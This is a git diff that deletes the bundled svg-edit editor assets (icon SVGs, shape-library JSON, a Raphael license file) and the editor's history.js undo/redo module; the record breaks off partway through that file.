--- a/public/svg-edit/editor/extensions/imagelib/smiley.svg
+++ /dev/null
@@ -1,12 +0,0 @@
-<svg width="137" height="137" xmlns="http://www.w3.org/2000/svg">
- <title>Cool smiley</title>
-  <path fill="url(#svg_4)" stroke="#000000" stroke-width="3" d="m32.18682,97.71674q36.3159,24.94076 72.54585,0m-64.67542,-49.25576c0,-3.8554 3.12526,-6.98079 6.98068,-6.98079c3.85449,0 6.97872,3.12539 6.97872,6.98079c0,3.85346 -3.12423,6.97867 -6.97872,6.97867c-3.85542,0 -6.98068,-3.12521 -6.98068,-6.97867m42.93047,0c0,-3.8554 3.12529,-6.98079 6.97963,-6.98079c3.8544,0 6.97971,3.12539 6.97971,6.98079c0,3.85346 -3.12531,6.97867 -6.97971,6.97867c-3.85434,0 -6.97963,-3.12521 -6.97963,-6.97867m-81.48596,20.036l0,0c0,-37.00197 29.99679,-66.99892 67.00095,-66.99892c37.00303,0 66.99998,29.99695 66.99998,66.99892c0,37.00409 -29.99695,67.00101 -66.99998,67.00101c-37.00416,0 -67.00095,-29.99692 -67.00095,-67.00101zm0,0l0,0c0,-37.00197 29.99679,-66.99892 67.00095,-66.99892c37.00303,0 66.99998,29.99695 66.99998,66.99892c0,37.00409 -29.99695,67.00101 -66.99998,67.00101c-37.00416,0 -67.00095,-29.99692 -67.00095,-67.00101z" id="svg_1"/>
-  <path id="svg_5" d="m23.84005,41.03445l17.57052,0l5.42937,-19.67914l5.42941,19.67914l17.5706,0l-14.21488,12.16242l5.42982,19.67939l-14.21495,-12.16281l-14.21489,12.16281l5.42991,-19.67939l-14.21491,-12.16242l0,0z" stroke-width="3" fill="#000000"/>
-  <path id="svg_6" d="m65.84005,41.03445l17.57052,0l5.42937,-19.67914l5.42941,19.67914l17.5706,0l-14.21487,12.16242l5.42982,19.67939l-14.21496,-12.1628l-14.2149,12.1628l5.42992,-19.67939l-14.21491,-12.16242l0,0z" stroke-width="3" fill="#000000"/>
- <defs>
-  <linearGradient y2="0.25391" x2="0.46484" y1="0.94922" x1="0.44531" id="svg_4">
-   <stop stop-color="#ff0000" offset="0"/>
-   <stop stop-color="#ffff00" offset="1"/>
-  </linearGradient>
- </defs>
-</svg>
\ No newline at end of file
diff --git a/public/svg-edit/editor/extensions/itex-icons.xml b/public/svg-edit/editor/extensions/itex-icons.xml
deleted file mode 100644
index 13edf0ea..00000000
--- a/public/svg-edit/editor/extensions/itex-icons.xml
+++ /dev/null
@@ -1,125 +0,0 @@
-<svg xmlns="http://www.w3.org/2000/svg">
-	<g id="tool_itex">
-     <svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" viewBox="-10 -10 100 100">
-	   <g fill="#D1D3D4">
-		<path d="M25.1,30.8c-0.7-7.6-1.1-9.3-8.7-9.3c-0.9,0-2.3,0-2.7,0.1c-0.8,0.2-0.9,0.6-0.9,1.8V49
-			c0,1.6,0,2.3,4.7,2.3h1.7v1.4c-1.5-0.1-6.5-0.1-8.4-0.1s-6.8,0-8.4,0.1v-1.4h1.7C9,51.3,9,50.6,9,49V23.4c0-1.1,0-1.7-1-1.8
-			c-0.4-0.1-1.7-0.1-2.6-0.1c-7.6,0-8,1.7-8.7,9.3h-1.1l0.9-10.7h28.8l0.9,10.7H25.1z"/>
-		<path d="M48.1,63.4H21.4V62h1c3.5,0,3.6-0.5,3.6-2.3V34.4c0-1.8-0.1-2.3-3.6-2.3h-1v-1.4h26.1l1.2,10.7h-1.1
-			c-0.7-6.9-2.2-9.3-9.3-9.3h-6.4c-2.1,0-2.2,0.3-2.2,1.9v11.7h4.4c4.6,0,5.1-1.5,5.1-5.6h1.1v12.6h-1.1c0-4.1-0.5-5.6-5.1-5.6h-4.4
-			v13c0,1.6,0.1,1.9,2.2,1.9h6.5c8.1,0,9.3-3.4,10.4-10.9h1.1L48.1,63.4z"/>
-		<path d="M73.7,52.8c-1.4,0-5.1,0-6.3,0.1v-1.4c1.9,0,2.7-0.9,2.7-1.4c0-0.2,0-0.2-0.3-0.7L62,37.8l-7.1,10.3
-			c-0.3,0.4-0.5,0.8-0.5,1.3c0,0.8,0.6,2,2.6,2.1v1.4c-1.1-0.1-4.2-0.1-5.5-0.1c-2.4,0-3,0-5,0.1v-1.4c4.3,0,5.9-2,6.7-3.2l8.1-11.8
-			l-9-13.3c-1-1.5-1.5-1.8-5.1-1.8v-1.4c1.2,0.1,4.5,0.1,5.9,0.1c1.4,0,5.2,0,6.3-0.1v1.4c-1.7,0-2.7,0.8-2.7,1.4
-			c0,0.2,0.2,0.6,0.3,0.8l6.5,9.6l5.8-8.4c0.3-0.4,0.5-0.7,0.5-1.2c0-0.8-0.6-2-2.6-2.1v-1.4c1.1,0.1,4.2,0.1,5.5,0.1
-			c2.4,0,3,0,5-0.1v1.4c-4.6,0-6,2.2-6.8,3.3l-6.6,9.6l10.3,15.4c1.1,1.7,2.3,1.7,5.1,1.7v1.4C78.4,52.8,75,52.8,73.7,52.8z"/>
-	  </g>
-	  <g fill="#A7A9AC">
-		<path d="M24.5,30c-0.7-7.6-1.1-9.3-8.7-9.3c-0.9,0-2.3,0-2.7,0.1c-0.8,0.2-0.9,0.6-0.9,1.8v25.5
-			c0,1.6,0,2.3,4.7,2.3h1.7v1.4c-1.5-0.1-6.5-0.1-8.4-0.1s-6.8,0-8.4,0.1v-1.4h1.7c4.7,0,4.7-0.7,4.7-2.3V22.6c0-1.1,0-1.7-1-1.8
-			c-0.4-0.1-1.7-0.1-2.6-0.1c-7.6,0-8,1.7-8.7,9.3H-5l0.9-10.7h28.8L25.5,30H24.5z"/>
-		<path d="M47.5,62.6H20.8v-1.4h1c3.5,0,3.6-0.5,3.6-2.3V33.6c0-1.8-0.1-2.3-3.6-2.3h-1v-1.4h26.1l1.2,10.7h-1.1
-			c-0.7-6.9-2.2-9.3-9.3-9.3h-6.4c-2.1,0-2.2,0.3-2.2,1.9v11.7h4.4c4.6,0,5.1-1.5,5.1-5.6h1.1v12.6h-1.1c0-4.1-0.5-5.6-5.1-5.6h-4.4
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diff --git a/public/svg-edit/editor/extensions/shapelib/animal.json b/public/svg-edit/editor/extensions/shapelib/animal.json
deleted file mode 100644
index 3cf1a3c6..00000000
--- a/public/svg-edit/editor/extensions/shapelib/animal.json
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\ No newline at end of file
diff --git a/public/svg-edit/editor/extensions/shapelib/arrow.json b/public/svg-edit/editor/extensions/shapelib/arrow.json
deleted file mode 100644
index 5f75f26a..00000000
--- a/public/svg-edit/editor/extensions/shapelib/arrow.json
+++ /dev/null
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\ No newline at end of file
diff --git a/public/svg-edit/editor/extensions/shapelib/dialog_balloon.json b/public/svg-edit/editor/extensions/shapelib/dialog_balloon.json
deleted file mode 100644
index e3d14799..00000000
--- a/public/svg-edit/editor/extensions/shapelib/dialog_balloon.json
+++ /dev/null
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diff --git a/public/svg-edit/editor/extensions/shapelib/electronics.json b/public/svg-edit/editor/extensions/shapelib/electronics.json
deleted file mode 100644
index 4d18a8c3..00000000
--- a/public/svg-edit/editor/extensions/shapelib/electronics.json
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\ No newline at end of file
diff --git a/public/svg-edit/editor/extensions/shapelib/flowchart.json b/public/svg-edit/editor/extensions/shapelib/flowchart.json
deleted file mode 100644
index 70f2333a..00000000
--- a/public/svg-edit/editor/extensions/shapelib/flowchart.json
+++ /dev/null
@@ -1,25 +0,0 @@
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diff --git a/public/svg-edit/editor/extensions/shapelib/game.json b/public/svg-edit/editor/extensions/shapelib/game.json
deleted file mode 100644
index 675bc376..00000000
--- a/public/svg-edit/editor/extensions/shapelib/game.json
+++ /dev/null
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\ No newline at end of file
diff --git a/public/svg-edit/editor/extensions/shapelib/math.json b/public/svg-edit/editor/extensions/shapelib/math.json
deleted file mode 100644
index 88c94971..00000000
--- a/public/svg-edit/editor/extensions/shapelib/math.json
+++ /dev/null
@@ -1,9 +0,0 @@
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\ No newline at end of file
diff --git a/public/svg-edit/editor/extensions/shapelib/misc.json b/public/svg-edit/editor/extensions/shapelib/misc.json
deleted file mode 100644
index ed58c4cc..00000000
--- a/public/svg-edit/editor/extensions/shapelib/misc.json
+++ /dev/null
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\ No newline at end of file
diff --git a/public/svg-edit/editor/extensions/shapelib/music.json b/public/svg-edit/editor/extensions/shapelib/music.json
deleted file mode 100644
index fe31aed7..00000000
--- a/public/svg-edit/editor/extensions/shapelib/music.json
+++ /dev/null
@@ -1,21 +0,0 @@
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diff --git a/public/svg-edit/editor/extensions/shapelib/object.json b/public/svg-edit/editor/extensions/shapelib/object.json
deleted file mode 100644
index 71ec7ec1..00000000
--- a/public/svg-edit/editor/extensions/shapelib/object.json
+++ /dev/null
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\ No newline at end of file
diff --git a/public/svg-edit/editor/extensions/shapelib/raphael.txt b/public/svg-edit/editor/extensions/shapelib/raphael.txt
deleted file mode 100644
index 7549cc09..00000000
--- a/public/svg-edit/editor/extensions/shapelib/raphael.txt
+++ /dev/null
@@ -1,12 +0,0 @@
-All Raphaël icons were retrieved from here:
-http://raphaeljs.com/icons/
-
-And fall under the MIT license:
-
-Copyright © 2008 Dmitry Baranovskiy
-
-Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the “Software”), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:
-
-The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.
-
-The software is provided “as is”, without warranty of any kind, express or implied, including but not limited to the warranties of merchantability, fitness for a particular purpose and noninfringement. In no event shall the authors or copyright holders be liable for any claim, damages or other liability, whether in an action of contract, tort or otherwise, arising from, out of or in connection with the software or the use or other dealings in the software.
\ No newline at end of file
diff --git a/public/svg-edit/editor/extensions/shapelib/raphael_1.json b/public/svg-edit/editor/extensions/shapelib/raphael_1.json
deleted file mode 100644
index 6f7f7ca0..00000000
--- a/public/svg-edit/editor/extensions/shapelib/raphael_1.json
+++ /dev/null
@@ -1,67 +0,0 @@
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diff --git a/public/svg-edit/editor/extensions/shapelib/raphael_2.json b/public/svg-edit/editor/extensions/shapelib/raphael_2.json
deleted file mode 100644
index 42a476e2..00000000
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diff --git a/public/svg-edit/editor/extensions/shapelib/symbol.json b/public/svg-edit/editor/extensions/shapelib/symbol.json
deleted file mode 100644
index b22fbe28..00000000
--- a/public/svg-edit/editor/extensions/shapelib/symbol.json
+++ /dev/null
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-	"stairs": "m2.18934,245.58681c17.86729,-0.11601 35.73457,-0.23204 53.60186,-0.34804c0.11764,-18.34987 0.23526,-36.69974 0.35289,-55.04959c17.78193,0 35.56387,0 53.34581,0c0,-18.46245 0,-36.9249 0,-55.38734c18.2373,0 36.47458,0 54.71188,0c0,-18.01214 0,-36.02428 0,-54.03642c18.01213,0 36.02426,0 54.03641,0c0,-18.01213 0,-36.02428 0,-54.03642c26.79306,0 53.58612,0 80.37918,0c0,9.00607 0,18.01214 0,27.01821c-17.78702,0 -35.57397,0 -53.36099,0c0,18.23729 0,36.47458 0,54.71188c-18.01212,0 -36.02425,0 -54.03641,0c0,18.2373 0,36.47459 0,54.71188c-18.01215,0 -36.02426,0 -54.03641,0c0,18.23729 0,36.47459 0,54.71185c-18.2373,0 -36.47459,0 -54.71187,0c0,18.46246 0,36.9249 0,55.38733c-27.01822,0 -54.03642,0 -81.05463,0c1.20448,-8.94977 -2.05336,-19.04163 0.77228,-27.68333z",
-	"umbrella": "m138.31999,1l0,29.565c-75.13835,4.16908 -134.31995,48.17229 -134.31999,101.835c0,-9.67107 16.35202,-17.51999 36.5,-17.51999c20.14798,0 36.5,7.84892 36.5,17.51999c0,-9.67107 16.35202,-17.51999 36.5,-17.51999c9.59525,0 18.30284,1.83565 24.81999,4.745l0,144.17499c0,6.44742 -5.23262,11.68002 -11.67999,11.68002c-6.44734,0 -11.68,-5.2326 -11.68,-11.68002l0,-5.84l-23.36,0l0,5.84c0,19.34207 15.6979,35.04001 35.04,35.04001c19.34206,0 35.04001,-15.69794 35.04001,-35.04001l0,-144.17499c6.51714,-2.90935 15.22475,-4.745 24.81999,-4.745c20.14798,0 36.5,7.84892 36.5,17.51999c0,-9.67107 16.35202,-17.51999 36.5,-17.51999c20.14798,0 36.5,7.84892 36.5,17.51999c0,-53.66274 -59.18159,-97.66592 -134.31999,-101.835l0,-29.565l-23.36002,0z",
-	"yin_yang": "m152.3828,1.00127c40.96666,0 74.20116,33.2665 74.20116,74.23316c0,40.96668 -33.2345,74.20117 -74.20116,74.20117c-40.96668,0 -74.20118,33.26653 -74.20118,74.23318c0,40.96667 33.2345,74.20117 74.20118,74.20117c81.93332,0 148.43431,-66.50104 148.43431,-148.43436c0,-81.93333 -66.50099,-148.43433 -148.43431,-148.43433zm0,51.0353c-12.80867,0 -23.19788,10.38917 -23.19788,23.19786c0,12.80871 10.38918,23.19786 23.19788,23.19786c12.80869,0 23.19785,-10.38917 23.19785,-23.19786c0,-12.80869 -10.38916,-23.19786 -23.19785,-23.19786zm0,148.43436c12.80206,0 23.19785,10.39577 23.19785,23.19786c0,12.80206 -10.39578,23.19788 -23.19785,23.19788c-12.80208,0 -23.19788,-10.39581 -23.19788,-23.19788c0,-12.80206 10.3958,-23.19786 23.19788,-23.19786zm145.10503,-50.94075c0,81.87245 -66.37071,148.24319 -148.24321,148.24319c-81.87246,0 -148.24321,-66.37074 -148.24321,-148.24319c0,-81.87248 66.37075,-148.24324 148.24321,-148.24324c81.8725,0 148.24321,66.37076 148.24321,148.24324z"
-	}
-}
\ No newline at end of file
diff --git a/public/svg-edit/editor/history.js b/public/svg-edit/editor/history.js
deleted file mode 100644
index 47678768..00000000
--- a/public/svg-edit/editor/history.js
+++ /dev/null
@@ -1,601 +0,0 @@
-/**
- * Package: svedit.history
- *
- * Licensed under the Apache License, Version 2
- *
- * Copyright(c) 2010 Jeff Schiller
- */
-
-// Dependencies:
-// 1) jQuery
-// 2) svgtransformlist.js
-// 3) svgutils.js
-
-var svgedit = svgedit || {};
-
-(function() {
-
-if (!svgedit.history) {
-	svgedit.history = {};
-}
-
-// Group: Undo/Redo history management
-
-
-svgedit.history.HistoryEventTypes = {
-	BEFORE_APPLY: 'before_apply',
-	AFTER_APPLY: 'after_apply',
-	BEFORE_UNAPPLY: 'before_unapply',
-	AFTER_UNAPPLY: 'after_unapply'
-};
-
-var removedElements = {};
-
-/**
- * Interface: svgedit.history.HistoryCommand
- * An interface that all command objects must implement.
- *
- * interface svgedit.history.HistoryCommand {
- *   void apply(svgedit.history.HistoryEventHandler);
- *   void unapply(svgedit.history.HistoryEventHandler);
- *   Element[] elements();
- *   String getText();
- *
- *   static String type();
- * }
- *
- * Interface: svgedit.history.HistoryEventHandler
- * An interface for objects that will handle history events.
- *
- * interface svgedit.history.HistoryEventHandler {
- *   void handleHistoryEvent(eventType, command);
- * }
- *
- * eventType is a string conforming to one of the HistoryEvent types.
- * command is an object fulfilling the HistoryCommand interface.
- */
-
-// Class: svgedit.history.MoveElementCommand
-// implements svgedit.history.HistoryCommand
-// History command for an element that had its DOM position changed
-//
-// Parameters:
-// elem - The DOM element that was moved
-// oldNextSibling - The element's next sibling before it was moved
-// oldParent - The element's parent before it was moved
-// text - An optional string visible to user related to this change
-svgedit.history.MoveElementCommand = function(elem, oldNextSibling, oldParent, text) {
-	this.elem = elem;
-	this.text = text ? ("Move " + elem.tagName + " to " + text) : ("Move " + elem.tagName);
-	this.oldNextSibling = oldNextSibling;
-	this.oldParent = oldParent;
-	this.newNextSibling = elem.nextSibling;
-	this.newParent = elem.parentNode;
-};
-svgedit.history.MoveElementCommand.type = function() { return 'svgedit.history.MoveElementCommand'; }
-svgedit.history.MoveElementCommand.prototype.type = svgedit.history.MoveElementCommand.type;
-
-// Function: svgedit.history.MoveElementCommand.getText
-svgedit.history.MoveElementCommand.prototype.getText = function() {
-	return this.text;
-};
-
-// Function: svgedit.history.MoveElementCommand.apply
-// Re-positions the element
-svgedit.history.MoveElementCommand.prototype.apply = function(handler) {
-	// TODO(codedread): Refactor this common event code into a base HistoryCommand class.
-	if (handler) {
-		handler.handleHistoryEvent(svgedit.history.HistoryEventTypes.BEFORE_APPLY, this);
-	}
-
-	this.elem = this.newParent.insertBefore(this.elem, this.newNextSibling);
-
-	if (handler) {
-		handler.handleHistoryEvent(svgedit.history.HistoryEventTypes.AFTER_APPLY, this);
-	}
-};
-
-// Function: svgedit.history.MoveElementCommand.unapply
-// Positions the element back to its original location
-svgedit.history.MoveElementCommand.prototype.unapply = function(handler) {
-	if (handler) {
-		handler.handleHistoryEvent(svgedit.history.HistoryEventTypes.BEFORE_UNAPPLY, this);
-	}
-		
-	this.elem = this.oldParent.insertBefore(this.elem, this.oldNextSibling);
-
-	if (handler) {
-		handler.handleHistoryEvent(svgedit.history.HistoryEventTypes.AFTER_UNAPPLY, this);
-	}
-};
-
-// Function: svgedit.history.MoveElementCommand.elements
-// Returns array with element associated with this command
-svgedit.history.MoveElementCommand.prototype.elements = function() {
-	return [this.elem];
-};
-
-
-// Class: svgedit.history.InsertElementCommand
-// implements svgedit.history.HistoryCommand
-// History command for an element that was added to the DOM
-//
-// Parameters:
-// elem - The newly added DOM element
-// text - An optional string visible to user related to this change
-svgedit.history.InsertElementCommand = function(elem, text) {
-	this.elem = elem;
-	this.text = text || ("Create " + elem.tagName);
-	this.parent = elem.parentNode;
-	this.nextSibling = this.elem.nextSibling;
-};
-svgedit.history.InsertElementCommand.type = function() { return 'svgedit.history.InsertElementCommand'; }
-svgedit.history.InsertElementCommand.prototype.type = svgedit.history.InsertElementCommand.type;
-
-// Function: svgedit.history.InsertElementCommand.getText
-svgedit.history.InsertElementCommand.prototype.getText = function() {
-	return this.text;
-};
-
-// Function: svgedit.history.InsertElementCommand.apply
-// Re-Inserts the new element
-svgedit.history.InsertElementCommand.prototype.apply = function(handler) { 
-	if (handler) {
-		handler.handleHistoryEvent(svgedit.history.HistoryEventTypes.BEFORE_APPLY, this);
-	}
-
-	this.elem = this.parent.insertBefore(this.elem, this.nextSibling); 
-
-	if (handler) {
-		handler.handleHistoryEvent(svgedit.history.HistoryEventTypes.AFTER_APPLY, this);
-	}
-};
-
-// Function: svgedit.history.InsertElementCommand.unapply
-// Removes the element
-svgedit.history.InsertElementCommand.prototype.unapply = function(handler) {
-	if (handler) {
-		handler.handleHistoryEvent(svgedit.history.HistoryEventTypes.BEFORE_UNAPPLY, this);
-	}
-
-	this.parent = this.elem.parentNode;
-	this.elem = this.elem.parentNode.removeChild(this.elem);
-
-	if (handler) {
-		handler.handleHistoryEvent(svgedit.history.HistoryEventTypes.AFTER_UNAPPLY, this);
-	}
-};
-
-// Function: svgedit.history.InsertElementCommand.elements
-// Returns array with element associated with this command
-svgedit.history.InsertElementCommand.prototype.elements = function() {
-	return [this.elem];
-};
-
-
-// Class: svgedit.history.RemoveElementCommand
-// implements svgedit.history.HistoryCommand
-// History command for an element removed from the DOM
-//
-// Parameters:
-// elem - The removed DOM element
-// oldNextSibling - the DOM element's nextSibling when it was in the DOM
-// oldParent - The DOM element's parent
-// text - An optional string visible to user related to this change
-svgedit.history.RemoveElementCommand = function(elem, oldNextSibling, oldParent, text) {
-	this.elem = elem;
-	this.text = text || ("Delete " + elem.tagName);
-	this.nextSibling = oldNextSibling;
-	this.parent = oldParent;
-
-	// special hack for webkit: remove this element's entry in the svgTransformLists map
-	svgedit.transformlist.removeElementFromListMap(elem);
-};
-svgedit.history.RemoveElementCommand.type = function() { return 'svgedit.history.RemoveElementCommand'; }
-svgedit.history.RemoveElementCommand.prototype.type = svgedit.history.RemoveElementCommand.type;
-
-// Function: svgedit.history.RemoveElementCommand.getText
-svgedit.history.RemoveElementCommand.prototype.getText = function() {
-	return this.text;
-};
-
-// Function: RemoveElementCommand.apply
-// Re-removes the new element
-svgedit.history.RemoveElementCommand.prototype.apply = function(handler) {	
-	if (handler) {
-		handler.handleHistoryEvent(svgedit.history.HistoryEventTypes.BEFORE_APPLY, this);
-	}
-
-	svgedit.transformlist.removeElementFromListMap(this.elem);
-	this.parent = this.elem.parentNode;
-	this.elem = this.parent.removeChild(this.elem);
-
-	if (handler) {
-		handler.handleHistoryEvent(svgedit.history.HistoryEventTypes.AFTER_APPLY, this);
-	}
-};
-
-// Function: RemoveElementCommand.unapply
-// Re-adds the new element
-svgedit.history.RemoveElementCommand.prototype.unapply = function(handler) { 
-	if (handler) {
-		handler.handleHistoryEvent(svgedit.history.HistoryEventTypes.BEFORE_UNAPPLY, this);
-	}
-
-	svgedit.transformlist.removeElementFromListMap(this.elem);
-	if(this.nextSibling == null) {
-		if(window.console) console.log('Error: reference element was lost');
-	}
-	this.parent.insertBefore(this.elem, this.nextSibling);
-
-
-	if (handler) {
-		handler.handleHistoryEvent(svgedit.history.HistoryEventTypes.AFTER_UNAPPLY, this);
-	}
-};
-
-// Function: RemoveElementCommand.elements
-// Returns array with element associated with this command
-svgedit.history.RemoveElementCommand.prototype.elements = function() {
-	return [this.elem];
-};
-
-
-// Class: svgedit.history.ChangeElementCommand
-// implements svgedit.history.HistoryCommand
-// History command to make a change to an element. 
-// Usually an attribute change, but can also be textcontent.
-//
-// Parameters:
-// elem - The DOM element that was changed
-// attrs - An object with the attributes to be changed and the values they had *before* the change
-// text - An optional string visible to user related to this change
-svgedit.history.ChangeElementCommand = function(elem, attrs, text) {
-	this.elem = elem;
-	this.text = text ? ("Change " + elem.tagName + " " + text) : ("Change " + elem.tagName);
-	this.newValues = {};
-	this.oldValues = attrs;
-	for (var attr in attrs) {
-		if (attr == "#text") this.newValues[attr] = elem.textContent;
-		else if (attr == "#href") this.newValues[attr] = svgedit.utilities.getHref(elem);
-		else this.newValues[attr] = elem.getAttribute(attr);
-	}
-};
-svgedit.history.ChangeElementCommand.type = function() { return 'svgedit.history.ChangeElementCommand'; }
-svgedit.history.ChangeElementCommand.prototype.type = svgedit.history.ChangeElementCommand.type;
-
-// Function: svgedit.history.ChangeElementCommand.getText
-svgedit.history.ChangeElementCommand.prototype.getText = function() {
-	return this.text;
-};
-
-// Function: svgedit.history.ChangeElementCommand.apply
-// Performs the stored change action
-svgedit.history.ChangeElementCommand.prototype.apply = function(handler) {
-	if (handler) {
-		handler.handleHistoryEvent(svgedit.history.HistoryEventTypes.BEFORE_APPLY, this);
-	}
-
-	var bChangedTransform = false;
-	for(var attr in this.newValues ) {
-		if (this.newValues[attr]) {
-			if (attr == "#text") this.elem.textContent = this.newValues[attr];
-			else if (attr == "#href") svgedit.utilities.setHref(this.elem, this.newValues[attr])
-			else this.elem.setAttribute(attr, this.newValues[attr]);
-		}
-		else {
-			if (attr == "#text") {
-				this.elem.textContent = "";
-			}
-			else {
-				this.elem.setAttribute(attr, "");
-				this.elem.removeAttribute(attr);
-			}
-		}
-
-		if (attr == "transform") { bChangedTransform = true; }
-	}
-
-	// relocate rotational transform, if necessary
-	if(!bChangedTransform) {
-		var angle = svgedit.utilities.getRotationAngle(this.elem);
-		if (angle) {
-			var bbox = elem.getBBox();
-			var cx = bbox.x + bbox.width/2,
-				cy = bbox.y + bbox.height/2;
-			var rotate = ["rotate(", angle, " ", cx, ",", cy, ")"].join('');
-			if (rotate != elem.getAttribute("transform")) {
-				elem.setAttribute("transform", rotate);
-			}
-		}
-	}
-
-	if (handler) {
-		handler.handleHistoryEvent(svgedit.history.HistoryEventTypes.AFTER_APPLY, this);
-	}
-
-	return true;
-};
-
-// Function: svgedit.history.ChangeElementCommand.unapply
-// Reverses the stored change action
-svgedit.history.ChangeElementCommand.prototype.unapply = function(handler) {
-	if (handler) {
-		handler.handleHistoryEvent(svgedit.history.HistoryEventTypes.BEFORE_UNAPPLY, this);
-	}
-
-	var bChangedTransform = false;
-	for(var attr in this.oldValues ) {
-		if (this.oldValues[attr]) {
-			if (attr == "#text") this.elem.textContent = this.oldValues[attr];
-			else if (attr == "#href") svgedit.utilities.setHref(this.elem, this.oldValues[attr]);
-			else this.elem.setAttribute(attr, this.oldValues[attr]);
-		}
-		else {
-			if (attr == "#text") {
-				this.elem.textContent = "";
-			}
-			else this.elem.removeAttribute(attr);
-		}
-		if (attr == "transform") { bChangedTransform = true; }
-	}
-	// relocate rotational transform, if necessary
-	if(!bChangedTransform) {
-		var angle = svgedit.utilities.getRotationAngle(this.elem);
-		if (angle) {
-			var bbox = elem.getBBox();
-			var cx = bbox.x + bbox.width/2,
-				cy = bbox.y + bbox.height/2;
-			var rotate = ["rotate(", angle, " ", cx, ",", cy, ")"].join('');
-			if (rotate != elem.getAttribute("transform")) {
-				elem.setAttribute("transform", rotate);
-			}
-		}
-	}
-
-	// Remove transformlist to prevent confusion that causes bugs like 575.
-	svgedit.transformlist.removeElementFromListMap(this.elem);
-
-	if (handler) {
-		handler.handleHistoryEvent(svgedit.history.HistoryEventTypes.AFTER_UNAPPLY, this);
-	}
-
-	return true;
-};
-
-// Function: ChangeElementCommand.elements
-// Returns array with element associated with this command
-svgedit.history.ChangeElementCommand.prototype.elements = function() {
-	return [this.elem];
-};
-
-
-// TODO: create a 'typing' command object that tracks changes in text
-// if a new Typing command is created and the top command on the stack is also a Typing
-// and they both affect the same element, then collapse the two commands into one
-
-
-// Class: svgedit.history.BatchCommand
-// implements svgedit.history.HistoryCommand
-// History command that can contain/execute multiple other commands
-//
-// Parameters:
-// text - An optional string visible to user related to this change
-svgedit.history.BatchCommand = function(text) {
-	this.text = text || "Batch Command";
-	this.stack = [];
-};
-svgedit.history.BatchCommand.type = function() { return 'svgedit.history.BatchCommand'; }
-svgedit.history.BatchCommand.prototype.type = svgedit.history.BatchCommand.type;
-
-// Function: svgedit.history.BatchCommand.getText
-svgedit.history.BatchCommand.prototype.getText = function() {
-	return this.text;
-};
-
-// Function: svgedit.history.BatchCommand.apply
-// Runs "apply" on all subcommands
-svgedit.history.BatchCommand.prototype.apply = function(handler) {
-	if (handler) {
-		handler.handleHistoryEvent(svgedit.history.HistoryEventTypes.BEFORE_APPLY, this);
-	}
-
-	var len = this.stack.length;
-	for (var i = 0; i < len; ++i) {
-		this.stack[i].apply(handler);
-	}
-
-	if (handler) {
-		handler.handleHistoryEvent(svgedit.history.HistoryEventTypes.AFTER_APPLY, this);
-	}
-};
-
-// Function: svgedit.history.BatchCommand.unapply
-// Runs "unapply" on all subcommands
-svgedit.history.BatchCommand.prototype.unapply = function(handler) {
-	if (handler) {
-		handler.handleHistoryEvent(svgedit.history.HistoryEventTypes.BEFORE_UNAPPLY, this);
-	}
-
-	for (var i = this.stack.length-1; i >= 0; i--) {
-		this.stack[i].unapply(handler);
-	}
-
-	if (handler) {
-		handler.handleHistoryEvent(svgedit.history.HistoryEventTypes.AFTER_UNAPPLY, this);
-	}
-};
-
-// Function: svgedit.history.BatchCommand.elements
-// Iterate through all our subcommands and returns all the elements we are changing
-svgedit.history.BatchCommand.prototype.elements = function() {
-	var elems = [];
-	var cmd = this.stack.length;
-	while (cmd--) {
-		var thisElems = this.stack[cmd].elements();
-		var elem = thisElems.length;
-		while (elem--) {
-			if (elems.indexOf(thisElems[elem]) == -1) elems.push(thisElems[elem]);
-		}
-	}
-	return elems;
-};
-
-// Function: svgedit.history.BatchCommand.addSubCommand
-// Adds a given command to the history stack
-//
-// Parameters:
-// cmd - The undo command object to add
-svgedit.history.BatchCommand.prototype.addSubCommand = function(cmd) {
-	this.stack.push(cmd);
-};
-
-// Function: svgedit.history.BatchCommand.isEmpty
-// Returns a boolean indicating whether or not the batch command is empty
-svgedit.history.BatchCommand.prototype.isEmpty = function() {
-	return this.stack.length == 0;
-};
-
-
-// Class: svgedit.history.UndoManager
-// Parameters:
-// historyEventHandler - an object that conforms to the HistoryEventHandler interface
-// (see above)
-svgedit.history.UndoManager = function(historyEventHandler) {
-	this.handler_ = historyEventHandler || null;
-	this.undoStackPointer = 0;
-	this.undoStack = [];
-
-	// this is the stack that stores the original values, the elements and
-	// the attribute name for begin/finish
-	this.undoChangeStackPointer = -1;
-	this.undoableChangeStack = [];
-};
-	
-// Function: svgedit.history.UndoManager.resetUndoStack
-// Resets the undo stack, effectively clearing the undo/redo history
-svgedit.history.UndoManager.prototype.resetUndoStack = function() {
-	this.undoStack = [];
-	this.undoStackPointer = 0;
-};
-
-// Function: svgedit.history.UndoManager.getUndoStackSize
-// Returns: 
-// Integer with the current size of the undo history stack
-svgedit.history.UndoManager.prototype.getUndoStackSize = function() {
-	return this.undoStackPointer;
-};
-
-// Function: svgedit.history.UndoManager.getRedoStackSize
-// Returns: 
-// Integer with the current size of the redo history stack
-svgedit.history.UndoManager.prototype.getRedoStackSize = function() {
-	return this.undoStack.length - this.undoStackPointer;
-};
-
-// Function: svgedit.history.UndoManager.getNextUndoCommandText
-// Returns: 
-// String associated with the next undo command
-svgedit.history.UndoManager.prototype.getNextUndoCommandText = function() { 
-	return this.undoStackPointer > 0 ? this.undoStack[this.undoStackPointer-1].getText() : "";
-};
-
-// Function: svgedit.history.UndoManager.getNextRedoCommandText
-// Returns: 
-// String associated with the next redo command
-svgedit.history.UndoManager.prototype.getNextRedoCommandText = function() { 
-	return this.undoStackPointer < this.undoStack.length ? this.undoStack[this.undoStackPointer].getText() : "";
-};
-
-// Function: svgedit.history.UndoManager.undo
-// Performs an undo step
-svgedit.history.UndoManager.prototype.undo = function() {
-	if (this.undoStackPointer > 0) {
-		var cmd = this.undoStack[--this.undoStackPointer];
-		cmd.unapply(this.handler_);
-	}
-};
-
-// Function: svgedit.history.UndoManager.redo		
-// Performs a redo step
-svgedit.history.UndoManager.prototype.redo = function() {
-	if (this.undoStackPointer < this.undoStack.length && this.undoStack.length > 0) {
-		var cmd = this.undoStack[this.undoStackPointer++];
-		cmd.apply(this.handler_);
-	}
-};
-	
-// Function: svgedit.history.UndoManager.addCommandToHistory
-// Adds a command object to the undo history stack
-//
-// Parameters: 
